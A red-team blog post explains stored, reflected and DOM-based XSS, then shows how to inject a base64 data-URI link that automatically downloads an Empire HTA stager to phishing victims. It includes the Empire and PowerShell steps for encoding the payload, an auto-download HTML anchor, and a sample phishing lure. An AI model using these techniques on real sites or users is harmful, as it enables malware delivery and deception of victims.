When discussing Red Team engagements, I normally hear that Phishing e-mails are the way to go. Usually this involves creating a payload and hosting it on a domain that matches your pretense. However, what if I told you, you could host the payload on your targets own website, without requiring you to upload your payload or require setting up additional infrastructure!

This is where a neat little vulnerability called Cross-Site Scripting (XSS) comes in handy. Typically when I talk about XSS in a Red Team context, it gets brushed to the side as most browsers are sandboxed and exploiting ActiveX controls isn’t as useful as it used to be. However, Recently I came across a talk called “Browsers Gone Wild” by Angelo Prado(@pradoangelo) and Xiaoran Wang (@0x1a0ran) which outlines multiple ways that the Browser can be used in order to target your victims. Specifically of interest to me was their research into Data URIs and “Ghost Malware.” If you haven’t watched it yet, I thoroughly recommend it! You can find it here. I haven’t seen this get much exposure in the Red Team community, which inspired me to write this post.

First I’m going to explain the 3 types of XSS, feel free to skip to the next session if you’re already comfortable with this kind of vulnerability.

Cross-Site Scripting

Cross-Site Scripting is a type of injection attack that allows an attacker to manipulate user input that dynamically is displayed on the page in order to write and have the browser render malicious HTML tags. The three types of XSS are Stored, Reflected, and Dom Based. Commonly when testing for XSS the payload <script>alert(“xss”)</script> is used, this causes an alert box with the message “xss” to pop up on the victim’s machine, however it doesn’t make a excellent example of the risks associated with this vulnerability.

Stored XSS occurs when untrusted user input is stored within the target servers (such as a database) and gets populated any time a victim visits the page. This is personally my favorite kind, and usually the most dangerous. This is because the malicious code will execute any time the victim requests the page and requires no additional interaction. Depending on where the XSS is stored, it’s only a matter of time until someone stumbles upon it and the code is executed. Stored XSS is commonly found in Forums and on Web Sites that allow user comments. By entering the following payload in the comment field we can get javascript to execute in order to display an alert box.


Reflected XSS occurs when untrusted user input is reflected on the page from a user-controlled parameter (commonly in the URL). Reflected XSS is a little harder to target a user with due to requiring some type of social engineering. For example, in order to exploit you would craft a malicious link and e-mail it to the unsuspecting user. For example, an e-mail containing the following payload demonstrates how to exploit Reflected XSS.

Dear Bob,
I'm having trouble accessing the spreadsheet located on your website. Can you take a look for me?<script>alert("xss")</script>

When Bob clicks the link, he’ll get the XSS alert box.

Dom Based
Dom Based XSS is similar to Reflected XSS, however, instead of modifying the Web Page directly, the XSS is executed as a result of modifying the DOM (Document Object Model). By taking advantage of DOM components such as document.write and document.location, malicious code can be executed in the context of your victim’s browser. For more information see the OWASP page on DOM XSS here.

Fileless Payload Hosting

Now that we understand what XSS is and how it can be exploited, we can move onto how it can be useful in a phishing campaign. The five major browsers (Internet Explorer, Google Chrome, Firefox, Safari, and Opera) all support the Data URI scheme which allows you to include small files in-line within a web page as if it were an external resource. It’s commonly used to enable a user to request an Image or Stylesheet in a single HTTP Request. However, they can be used to store almost anything.

The data protocol takes the following form:


For example, if I wanted to store the following photo as a data URI it would look like this.

The picture:


Encoded as a URI:


Note: Shortened for Authors Sanity.

For example, you could embed this in a link tag so that when the user clicks the link, they see the image.

<a href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUg<snip>AAAElFTkSuQmCC>Image</a>

Now, how can we use this to phish our users? Data URIs can be used to store things that aren’t Images or StyleSheets. For example, we can encode and exe or HTA payload as a Data URI and have the user download that when they visit our page! To do this first, we’ll go ahead an generate a payload.

Let’s open up Empire and generate a stager! We can do this by entering the following commands in an empire instance.

    usestager <stager type>
    set Listener <listener name>
    set OutFile malicious.hta

From here, we want to get an array of bytes that represent our executable. We can do this in powershell using the following commands:

    $exec = Get-Content .\Empire-Payload.hta
    $PayloadBytes = [System.Text.Encoding]::Unicode.GetBytes($exec)

We have now stored a bit representation of the executable in the PayloadBytes variable. Now that we have the bytes, we need to convert it to a base64 encoded payload which can be embedded into our Data URI:

   $EncodedPayload =[Convert]::ToBase64String($PayloadBytes)

Looking back at the example Data URI you’ll notice that it has a sMediaType field. This is the media type specification, and it’s an optional parameter. However, if it is not set, it defaults to text/plain which would render the data URI useless for our purposes.

For Binary payloads, we’ll be setting the mime type to application/octet-stream.

<a href="data:application/octet-stream;base64,iVBORw0KGgoAAAANSUhEUg&...snip...AAAElFTkSuQmCC>Image</a>

When we put it all together our payload should look similar to the following:


We’re not done yet though! If you try to exploit the user using this payload, First we’ll have to convince them to click the download button, if we’re able to do that they’ll try to download it and it will just be called “download.” No filetype, no custom name designed to trick the user, only a generic download name that makes convincing the victim to run it harder. But it’s okay, Angelo and Xiaoran already figured out how to bypass this issue.

It turns out HTML5 can be used to both set the filename, and initiate the download without requiring any user interaction! In Chrome, Internet Explorer, and Firefox, the download attribute is supported. This value specifies the default file name for the file being downloaded, which solves one problem!

Next, we just need to have some javascript that can be used to initiate the download for them! The following HTML code can be used to initiate the download for the user:

<a id="autoclick" href="data:application/octet-stream;base64,iVBORw0KGgoAAAANSUhEUg...snip...AAAElFTkSuQmCC" download="malicious.hta">click here</a>

window.onload = function(){

Now, when the victim navigates to where your XSS payload is stored, a download should be launched containing your malicious code. An example screenshot is below:


One thing to note, is the size of the payload when storing your phishing payload through this vector. You payload can get very large, very quickly and the size needs to be managed. For example, even a small binary file can get very large when converted to a base64 encoded payload.

Originally it was recommended to use a URL shortening service such as TinyURL, however in my testing I was unable to get it to cooperate with a data: URI. If anyone knows of any URL shorteners that support the data: URI definitely let me know, or alternatively if you have any tips of decreasing the payload size.

Leave a Reply

Your email address will not be published. Required fields are marked *